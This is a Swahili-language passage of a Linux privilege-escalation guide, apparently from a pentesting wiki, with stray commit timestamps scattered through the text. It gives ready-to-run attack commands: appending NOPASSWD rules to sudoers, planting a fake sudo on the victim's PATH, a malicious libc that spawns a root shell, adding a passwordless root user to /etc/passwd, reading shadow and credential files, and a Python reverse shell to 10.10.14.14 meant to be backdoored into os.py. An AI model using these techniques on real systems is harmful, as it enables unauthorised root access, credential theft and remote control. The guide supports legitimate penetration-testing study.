Faili `/etc/sudoers` na faili ndani ya `/etc/sudoers.d` huzingatia ni nani anaweza kutumia `sudo` na jinsi gani. Faili hizi **kwa chaguo-msingi zinaweza kusomwa tu na mtumiaji root na kikundi cha root**.\
**Ikiwa** unaweza **kusoma** faili hii unaweza kuwa na uwezo wa **kupata habari za kuvutia**, na ikiwa unaweza **kuandika** faili yoyote utaweza **kupandisha vyeo**.
2020-08-20 11:59:57 +00:00
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
```
Ikiwa unaweza kuandika unaweza kutumia ruhusa hii
2020-08-20 11:59:57 +00:00
```bash
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
```
Njia nyingine ya kutumia vibali hivi:
2020-08-21 11:22:11 +00:00
```bash
2024-02-11 02:13:58 +00:00
# makes it so every terminal can sudo
2020-08-21 11:22:11 +00:00
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
```
2022-05-01 16:57:45 +00:00
### DOAS
2020-08-20 11:59:57 +00:00
Kuna njia mbadala za faili ya `sudo` kama vile `doas` kwa OpenBSD, kumbuka kuangalia mazingira yake katika `/etc/doas.conf`
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
permit nopass demo as root cmd vim
```
### Udukuzi wa Sudo
2020-08-20 11:59:57 +00:00
Ikiwa unajua kwamba **mtumiaji kawaida hujihusisha na mashine na kutumia `sudo`** kuongeza mamlaka na umepata shell ndani ya muktadha huo wa mtumiaji, unaweza **kuunda faili mpya ya sudo** ambayo itatekeleza nambari yako kama root na kisha amri ya mtumiaji. Kisha, **badilisha $PATH** ya muktadha wa mtumiaji (kwa mfano kwa kuongeza njia mpya katika .bash\_profile) ili wakati mtumiaji anatekeleza sudo, faili yako ya sudo itatekelezwa.
2021-07-21 11:07:55 +00:00
Tafadhali kumbuka kwamba ikiwa mtumiaji anatumia kabati tofauti (si bash) utahitaji kuhariri faili nyingine kuongeza njia mpya. Kwa mfano [sudo-piggyback](https://github.com/APTy/sudo-piggyback) inahariri `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Unaweza kupata mfano mwingine katika [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
Au kutekeleza kitu kama:
```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo export PATH=/tmp:$PATH >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
```
## Maktaba ya Pamoja
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### ld.so
2020-08-20 11:59:57 +00:00
Faili `/etc/ld.so.conf` inaonyesha **mahali ambapo faili za mipangilio iliyopakiwa zinatoka**. Kawaida, faili hii ina njia ifuatayo: `include /etc/ld.so.conf.d/*.conf`
2020-08-20 11:59:57 +00:00
Hii inamaanisha kuwa faili za mipangilio kutoka `/etc/ld.so.conf.d/*.conf` zitasomwa. Faili hizi za mipangilio **zinaweza kuashiria kwenye folda nyingine** ambapo **maktaba** zitatafutwa. Kwa mfano, yaliyomo kwenye `/etc/ld.so.conf.d/libc.conf` ni `/usr/local/lib`. **Hii inamaanisha kuwa mfumo utatafuta maktaba ndani ya `/usr/local/lib`**.
2020-08-20 11:59:57 +00:00
Ikiwa kwa sababu fulani **mtumiaji ana ruhusa ya kuandika** kwenye mojawapo ya njia zilizoonyeshwa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, faili yoyote ndani ya `/etc/ld.so.conf.d/` au folda yoyote ndani ya faili ya mipangilio ndani ya `/etc/ld.so.conf.d/*.conf` anaweza kuinua mamlaka.\
Angalia **jinsi ya kutumia kasoro hii ya mipangilio** kwenye ukurasa ufuatao:
2020-08-20 11:59:57 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="ld.so.conf-example.md" %}
[ld.so.conf-example.md](ld.so.conf-example.md)
{% endcontent-ref %}
2020-08-20 11:59:57 +00:00
2022-05-01 16:57:45 +00:00
### RPATH
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
2024-02-11 02:13:58 +00:00
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ ldd ./flag15
2024-02-11 02:13:58 +00:00
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
2020-08-20 11:59:57 +00:00
```
Kwa kuchapisha lib ndani ya `/var/tmp/flag15/` itatumika na programu mahali hapa kama ilivyoelezwa katika `RPATH` variable.
2021-10-10 21:09:04 +00:00
```
2020-08-20 11:59:57 +00:00
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
2024-02-11 02:13:58 +00:00
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
2020-08-20 11:59:57 +00:00
```
Kisha tengeneza maktaba mbaya katika `/var/tmp` kwa kutumia `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
2020-08-25 14:19:45 +00:00
```c
2020-08-20 11:59:57 +00:00
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
2024-02-11 02:13:58 +00:00
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
2020-08-20 11:59:57 +00:00
}
```
2024-02-11 02:13:58 +00:00
## Uwezo
2020-08-20 11:59:57 +00:00
Uwezo wa Linux hutoa **sehemu ya mizizi inayopatikana kwa mchakato**. Hii kimsingi huvunja **mizizi ya uwezo kuwa vitengo vidogo na vya kipekee**. Kila moja ya vitengo hivi inaweza kutolewa kwa mchakato kivyake. Hivyo seti kamili ya uwezo inapunguzwa, ikipunguza hatari za unyonyaji.\
Soma ukurasa ufuatao kujifunza zaidi kuhusu uwezo na jinsi ya **kutumia vibaya**:
2020-08-27 18:09:40 +00:00
2021-10-10 21:09:04 +00:00
{% content-ref url="linux-capabilities.md" %}
[linux-capabilities.md](linux-capabilities.md)
{% endcontent-ref %}
## Ruhusa za Directory
2021-07-16 23:34:00 +00:00
Katika saraka, **biti ya "utekelezaji"** inamaanisha kuwa mtumiaji anayehusika anaweza "**cd**" kuingia kwenye folda.\
Biti ya **"soma"** inamaanisha mtumiaji anaweza **kuorodhesha** **faili**, na biti ya **"andika"** inamaanisha mtumiaji anaweza **kufuta** na **kuunda** **faili** mpya.
2021-07-16 23:34:00 +00:00
2022-05-01 13:25:53 +00:00
## ACLs
2020-08-22 14:37:12 +00:00
Orodha za Kudhibiti Upatikanaji (ACLs) zinaonyesha safu ya pili ya ruhusa za hiari, zenye uwezo wa **kubadilisha ruhusa za jadi za ugo/rwx**. Ruhusa hizi huongeza udhibiti juu ya ufikiaji wa faili au saraka kwa kuruhusu au kukataa haki kwa watumiaji maalum ambao si wamiliki au sehemu ya kikundi. Kiwango hiki cha **ufafanuzi kuhakikisha usimamizi sahihi wa ufikiaji**. Maelezo zaidi yanaweza kupatikana [**hapa**](https://linuxconfig.org/how-to-manage-acls-on-linux).
2020-08-22 14:37:12 +00:00
**Toa** mtumiaji "kali" ruhusa za kusoma na kuandika kwenye faili:
2020-08-24 15:33:28 +00:00
```bash
setfacl -m u:kali:rw file.txt
2022-09-20 02:56:05 +00:00
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
2021-10-10 21:09:04 +00:00
setfacl -b file.txt #Remove the ACL of the file
2020-08-24 15:33:28 +00:00
```
**Pata** faili zenye ACLs maalum kutoka kwenye mfumo:
2020-08-24 15:33:28 +00:00
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Kufungua vikao vya kabibi
2020-08-22 14:37:12 +00:00
Katika **toleo za zamani** unaweza **kuteka** kikao cha kabibi cha mtumiaji mwingine (**root**).\
Katika **toleo jipya zaidi** utaweza **kuunganisha** kikao cha skrini cha mtumiaji wako mwenyewe tu. Hata hivyo, unaweza kupata **habari muhimu ndani ya kikao**.
2024-02-11 02:13:58 +00:00
### Kuteka vikao vya skrini
2024-02-11 02:13:58 +00:00
**Orodhesha vikao vya skrini**
```bash
screen -ls
2023-06-08 05:15:47 +00:00
screen -ls <username>/ # Show another user' screen sessions
```
![](<../../.gitbook/assets/image (138).png>)
**Ambatisha kwenye kikao**
```bash
2022-09-20 02:56:05 +00:00
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
2023-06-08 05:15:47 +00:00
screen -x [user]/[session id]
```
## Kuteka vikao vya tmux
Hii ilikuwa tatizo na **toleo za zamani za tmux**. Sikufanikiwa kuteka kikao cha tmux (v2.1) kilichoundwa na root kama mtumiaji asiye na mamlaka.
**Orodhesha vikao vya tmux**
```bash
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
```
**Kuambatisha kwenye kikao**
```bash
tmux attach -t myname #If you write something in this session it will appears in the other opened one
2022-09-20 02:56:05 +00:00
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
2022-10-02 22:19:40 +00:00
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
```
Angalia **Valentine box kutoka HTB** kama mfano.
2020-08-26 21:42:06 +00:00
2022-05-01 13:25:53 +00:00
## SSH
2022-05-01 16:57:45 +00:00
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Fungua funguo zote za SSL na SSH zilizotengenezwa kwenye mifumo inayotegemea Debian (Ubuntu, Kubuntu, nk) kati ya Septemba 2006 na Mei 13, 2008 zinaweza kuathiriwa na kosa hili.\
Kosa hili husababishwa wakati wa kutengeneza funguo mpya za ssh kwenye mifumo hiyo, kwani **ni mchanganyiko wa 32,768 pekee uliowezekana**. Hii inamaanisha kuwa uwezekano wote unaweza kuhesabiwa na **ukiwa na funguo ya umma ya ssh unaweza kutafuta funguo ya kibinafsi inayolingana**. Unaweza kupata uwezekano uliohesabiwa hapa: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Vipimo vya Usanidi Vinavyovutia
* **PasswordAuthentication:** Inabainisha ikiwa uthibitishaji wa nywila unaruhusiwa. Chaguo la msingi ni `hapana`.
* **PubkeyAuthentication:** Inabainisha ikiwa uthibitishaji wa funguo za umma unaruhusiwa. Chaguo la msingi ni `ndiyo`.
* **PermitEmptyPasswords**: Wakati uthibitishaji wa nywila unaruhusiwa, inabainisha ikiwa seva inaruhusu kuingia kwenye akaunti zenye herufi za nywila tupu. Chaguo la msingi ni `hapana`.
2022-05-01 13:25:53 +00:00
### PermitRootLogin
Inabainisha ikiwa root anaweza kuingia kwa kutumia ssh, chaguo la msingi ni `hapana`. Inawezekana kuwa na thamani zifuatazo:
* `ndiyo`: root anaweza kuingia kwa kutumia nywila na funguo ya kibinafsi
* `bila-nywila` au `zuia-nywila`: root anaweza kuingia tu kwa kutumia funguo ya kibinafsi
* `amri-zilizolazimishwa-pekee`: Root anaweza kuingia kwa kutumia funguo ya kibinafsi pekee na ikiwa chaguo la amri limetajwa
* `hapana` : hapana
2022-05-01 13:25:53 +00:00
### AuthorizedKeysFile
Inabainisha faili zinazohifadhi funguo za umma zinazoweza kutumika kwa uthibitishaji wa mtumiaji. Inaweza kuwa na alama kama `%h`, ambayo itabadilishwa na saraka ya nyumbani. **Unaweza kuonyesha njia kamili** (kuanzia `/`) au **njia za ndani kutoka kwa nyumbani kwa mtumiaji**. Kwa mfano:
```bash
2020-09-01 09:02:57 +00:00
AuthorizedKeysFile .ssh/authorized_keys access
```
Hiyo mipangilio itaonyesha kwamba ukijaribu kuingia kwa **funguo ya kibinafsi** ya mtumiaji "**jina la jaribio**" ssh italinganisha funguo ya umma ya funguo lako na zile zilizoko katika `/home/jina la jaribio/.ssh/authorized_keys` na `/home/jina la jaribio/access`
2022-05-01 13:25:53 +00:00
### ForwardAgent/AllowAgentForwarding
Kusonga mbele kwa wakala wa SSH inakuruhusu **kutumia funguo zako za SSH za ndani badala ya kuacha funguo** (bila nywila!) zikikaa kwenye server yako. Kwa hivyo, utaweza **kuruka** kupitia ssh **kwenda kwa mwenyeji** na kutoka hapo **kuruka kwenda kwa mwenyeji mwingine** **ukitumia** **funguo** iliyoko kwenye **mwenyeji wako wa awali**.
Unahitaji kuweka chaguo hili katika `$HOME/.ssh.config` kama hivi:
2021-10-10 21:09:04 +00:00
```
Host example.com
2024-02-11 02:13:58 +00:00
ForwardAgent yes
```
Tambua kwamba ikiwa `Host` ni `*` kila wakati mtumiaji anapohamia kwenye mashine tofauti, mwenyeji huyo ataweza kupata ufikiaji wa funguo (ambao ni suala la usalama).
Faili `/etc/ssh_config` inaweza **kubadilisha** hii **chaguo** na kuruhusu au kukataa usanidi huu.\
Faili `/etc/sshd_config` inaweza **kuruhusu** au **kukataa** ssh-agent forwarding kwa neno la msimbo `AllowAgentForwarding` (chaguo la msingi ni kuruhusu).
Ikiwa utagundua kuwa Forward Agent imewekwa katika mazingira, soma ukurasa ufuatao kwani **unaweza kutumia hii kwa kujipandisha viwango vya ruhusa**:
{% content-ref url="ssh-forward-agent-exploitation.md" %}
[ssh-forward-agent-exploitation.md](ssh-forward-agent-exploitation.md)
{% endcontent-ref %}
## Faili Zinazovutia
### Faili za Profaili
Faili `/etc/profile` na faili chini ya `/etc/profile.d/` ni **maandishi ambayo hutekelezwa wakati mtumiaji anapoendesha kabia mpya**. Kwa hivyo, ikiwa unaweza **kuandika au kuhariri yoyote kati yao unaweza kujipandisha viwango vya ruhusa**.
2020-08-20 14:43:22 +00:00
```bash
2020-08-24 12:46:39 +00:00
ls -l /etc/profile /etc/profile.d/
2020-08-20 14:43:22 +00:00
```
2024-02-11 02:13:58 +00:00
### Faili za Passwd/Shadow
Kulingana na OS faili za `/etc/passwd` na `/etc/shadow` zinaweza kutumia jina tofauti au kunaweza kuwa na nakala rudufu. Kwa hivyo, inashauriwa **kuzipata zote** na **kuangalia kama unaweza kuzisoma** ili uone **kama kuna hashes** ndani ya faili hizo:
```bash
2020-08-24 12:46:39 +00:00
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
Katika baadhi ya matukio unaweza kupata **hash za nywila** ndani ya faili ya `/etc/passwd` (au sawa na hiyo)
```bash
2020-08-24 12:46:39 +00:00
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Inaandikika /etc/passwd
2020-08-20 14:43:22 +00:00
2024-02-11 02:13:58 +00:00
Kwanza, tengeneza nenosiri kwa kutumia moja ya amri zifuatazo.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
2024-02-11 02:13:58 +00:00
Kisha ongeza mtumiaji `hacker` na ongeza nenosiri lililozalishwa.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
2024-02-11 02:13:58 +00:00
Kwa mfano: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
2020-08-20 14:43:22 +00:00
2024-02-11 02:13:58 +00:00
Sasa unaweza kutumia amri ya `su` na `hacker:hacker`
2020-08-20 14:43:22 +00:00
Kwa kuongezea, unaweza kutumia mistari ifuatayo kuongeza mtumiaji bandia bila nenosiri.\
ONYO: unaweza kudhoofisha usalama wa sasa wa mashine.
2021-10-10 21:09:04 +00:00
```
2020-08-20 14:43:22 +00:00
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
**TAARIFA:** Katika majukwaa ya BSD `/etc/passwd` iko katika `/etc/pwd.db` na `/etc/master.passwd`, pia `/etc/shadow` imepewa jina la `/etc/spwd.db`.
2020-08-20 14:43:22 +00:00
Unapaswa kuangalia ikiwa unaweza **kuandika kwenye faili zenye nyeti**. Kwa mfano, je, unaweza kuandika kwenye faili ya **mazingira ya huduma**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Kwa mfano, ikiwa mashine inaendesha seva ya **tomcat** na unaweza **kurekebisha faili ya usanidi wa huduma ya Tomcat ndani ya /etc/systemd/**, basi unaweza kurekebisha mistari:
2021-10-10 21:09:04 +00:00
```
ExecStart=/path/to/backdoor
User=root
Group=root
```
Backdoor yako itatekelezwa wakati tomcat inaanzishwa.
### Angalia Vichupo
Vichupo vifuatavyo vinaweza kuwa na nakala rudufu au habari za kuvutia: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Labda huenda usiweze kusoma ya mwisho lakini jaribu)
2020-08-24 12:46:39 +00:00
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Mahali/Picha za Faili Zisizo za Kawaida
2020-08-24 12:46:39 +00:00
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
2022-09-20 02:56:05 +00:00
#Files owned by root, readable by me but not world readable
2020-08-24 12:46:39 +00:00
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
2024-02-11 02:13:58 +00:00
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
2020-08-24 12:46:39 +00:00
done
```
### Faili zilizobadilishwa katika dakika za mwisho
2020-08-24 12:46:39 +00:00
```bash
2024-02-11 02:13:58 +00:00
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
2020-08-24 12:46:39 +00:00
```
2024-02-11 02:13:58 +00:00
### Faili za DB za Sqlite
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### Faili za \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:33:47 +00:00
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
### Faili zilizofichwa
2020-08-24 12:46:39 +00:00
```bash
find / -type f -iname ".*" -ls 2>/dev/null
```
### **Script/Binaries in PATH**
2024-02-11 02:13:58 +00:00
### **Script/Mafaili ya Binary katika PATH**
2020-08-24 12:46:39 +00:00
```bash
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
2020-08-24 12:46:39 +00:00
```
2024-02-11 02:13:58 +00:00
### **Faili za Wavuti**
2020-08-24 12:46:39 +00:00
```bash
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```
### **Nakala za Kuhifadhi**
2020-08-24 12:46:39 +00:00
```bash
2023-08-10 10:28:00 +00:00
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
2020-08-24 12:46:39 +00:00
```
### Faili zinazojulikana kuwa na nywila
2020-08-24 12:46:39 +00:00
Soma nambari ya [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), inatafuta **faili kadhaa zinazoweza kuwa na nywila**.\
**Zana nyingine ya kuvutia** unayoweza kutumia kufanya hivyo ni: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) ambayo ni programu huru inayotumika kupata nywila nyingi zilizohifadhiwa kwenye kompyuta ya ndani kwa Windows, Linux & Mac.
2020-08-24 12:46:39 +00:00
2024-02-11 02:13:58 +00:00
### Kumbukumbu
Ikiwa unaweza kusoma kumbukumbu, unaweza kupata **habari muhimu/siri ndani yake**. Kumbukumbu inavyokuwa ya ajabu, ndivyo itakavyokuwa ya kuvutia zaidi (labda).\
Pia, baadhi ya kumbukumbu za ukaguzi zilizopangwa vibaya (zilizo na mlango wa nyuma?) zinaweza kukuruhusu **kuandika nywila** ndani ya kumbukumbu za ukaguzi kama ilivyoelezwa katika chapisho hili: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
Ili **kusoma logs ya kikundi** [**adm**](makundi-ya-kuvutia-ya-linux-pe/#kikundi-cha-adm) itakuwa ya manufaa sana.
2024-02-11 02:13:58 +00:00
### Faili za Shell
2021-08-18 16:50:47 +00:00
```bash
2022-09-20 02:56:05 +00:00
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
2021-08-18 16:50:47 +00:00
~/.profile # if it exists, read once if the two above don't exist
2022-09-20 02:56:05 +00:00
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
2021-08-18 16:50:47 +00:00
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### Utafutaji wa Vibali/Regex wa Kijumla
2021-08-18 16:50:47 +00:00
Pia unapaswa kuangalia faili zinazo **kuwa na neno** "**password**" katika **jina** yake au ndani ya **maudhui**, na pia angalia IPs na barua pepe ndani ya magogo, au hash regexps.\
Sitataja hapa jinsi ya kufanya hivi lakini ikiwa una nia unaweza kuangalia ukaguzi wa mwisho ambao [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) hufanya.
2020-08-24 12:46:39 +00:00
2024-02-11 02:13:58 +00:00
## Faili Zinazoweza Kuandikwa
2020-08-24 12:46:39 +00:00
### Utekaji wa Maktaba ya Python
2020-08-24 12:46:39 +00:00
Ikiwa unajua **mahali** ambapo skripti ya python itatekelezwa na unaweza **kuandika ndani** ya folda hiyo au unaweza **kurekebisha maktaba za python**, unaweza kurekebisha maktaba ya OS na kuifanya kuwa na mlango wa nyuma (ikiwa unaweza kuandika mahali ambapo skripti ya python itatekelezwa, nakili na ubandike maktaba ya os.py).
Ku **kuweka mlango wa nyuma kwenye maktaba**, weka mwishoni mwa maktaba ya os.py mstari ufuatao (badilisha IP na PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
2024-02-11 02:13:58 +00:00
### Uchunguzi wa Logrotate
Udhaifu katika `logrotate` huruhusu watumiaji wenye **ruhusa za kuandika** kwenye faili ya log au mabwawa yake ya wazazi kupata mamlaka ya juu. Hii ni kwa sababu `logrotate`, mara nyingi ikifanya kazi kama **root**, inaweza kudanganywa kutekeleza faili za kupindukia, hasa katika mabwawa kama _**/etc/bash\_completion.d/**_. Ni muhimu kuchunguza ruhusa si tu katika _/var/log_ bali pia katika saraka yoyote ambapo mzunguko wa logi unatumika.
2020-08-27 20:57:15 +00:00
{% hint style="info" %}
Udhaifu huu unaathiri `logrotate` toleo `3.18.0` na vinyume vyake
2020-08-27 20:57:15 +00:00
{% endhint %}
Maelezo zaidi kuhusu udhaifu huu yanaweza kupatikana kwenye ukurasa huu: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
2020-08-27 20:57:15 +00:00
Unaweza kutumia udhaifu huu na [**logrotten**](https://github.com/whotwagner/logrotten).
Udhaifu huu ni sawa sana na [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(magogo ya nginx),** kwa hivyo unapogundua unaweza kubadilisha magogo, chunguza ni nani anayesimamia magogo hayo na angalia ikiwa unaweza kupandisha mamlaka kwa kubadilisha magogo kwa viungo vya alama.
2022-05-01 16:57:45 +00:00
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
2020-08-20 14:43:22 +00:00
**Kumbukumbu ya Udhaifu:** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
2020-08-20 14:43:22 +00:00
Ikiwa, kwa sababu yoyote, mtumiaji anaweza **kuandika** skripti ya `ifcf-<chochote>` kwa _/etc/sysconfig/network-scripts_ **au** anaweza **kurekebisha** ile iliyopo, basi **mfumo wako umeshikwa**.
2020-08-20 14:43:22 +00:00
Skripti za mtandao, _ifcg-eth0_ kwa mfano hutumiwa kwa ajili ya uhusiano wa mtandao. Zinaonekana kama faili za .INI. Walakini, zinasambazwa kiotomatiki kwenye Linux na Meneja wa Mtandao (dispatcher.d).
2020-08-20 14:43:22 +00:00
Kwa mfano wangu, `NAME=` iliyotolewa katika skripti hizi za mtandao haishughulikiwi kwa usahihi. Ikiwa una **nafasi nyeupe/blank katika jina mfumo unajaribu kutekeleza sehemu baada ya nafasi nyeupe/blank**. Hii inamaanisha kwamba **kila kitu baada ya nafasi nyeupe ya kwanza kinatekelezwa kama root**.
2020-08-20 14:43:22 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano: _/etc/sysconfig/network-scripts/ifcfg-1337_
2020-08-20 14:43:22 +00:00
```bash
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
```
### **init, init.d, systemd, na rc.d**
2020-08-20 14:43:22 +00:00
Directory `/etc/init.d` ni nyumbani kwa **scripts** za System V init (SysVinit), mfumo wa **usimamizi wa huduma wa Linux wa kisasa**. Inajumuisha scripts za `start`, `stop`, `restart`, na mara nyingine `reload` za huduma. Hizi zinaweza kutekelezwa moja kwa moja au kupitia viungo vya alama za ishara zilizopatikana katika `/etc/rc?.d/`. Njia mbadala katika mifumo ya Redhat ni `/etc/rc.d/init.d`.
2020-08-20 14:43:22 +00:00
Kwa upande mwingine, `/etc/init` inahusishwa na **Upstart**, mfumo mpya wa **usimamizi wa huduma** ulioanzishwa na Ubuntu, ukitumia faili za usanidi kwa kazi za usimamizi wa huduma. Licha ya mpito kwenda Upstart, scripts za SysVinit bado hutumiwa pamoja na mizunguko ya Upstart kutokana na tabaka la utangamano katika Upstart.
2020-08-24 15:33:28 +00:00
**systemd** inatokea kama meneja wa kuanzisha na huduma wa kisasa, ikitoa vipengele vya juu kama vile kuanzisha daemone kwa ombi, usimamizi wa automount, na picha za hali ya mfumo. Inapanga faili katika `/usr/lib/systemd/` kwa pakiti za usambazaji na `/etc/systemd/system/` kwa marekebisho ya msimamizi, ikipunguza mchakato wa usimamizi wa mfumo.
2020-08-24 17:35:11 +00:00
2024-02-11 02:13:58 +00:00
## Mbinu Nyingine
2022-09-20 02:56:05 +00:00
### Kupandisha Mamlaka kwa NFS
2020-08-24 15:33:28 +00:00
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %}
2021-11-04 00:33:15 +00:00
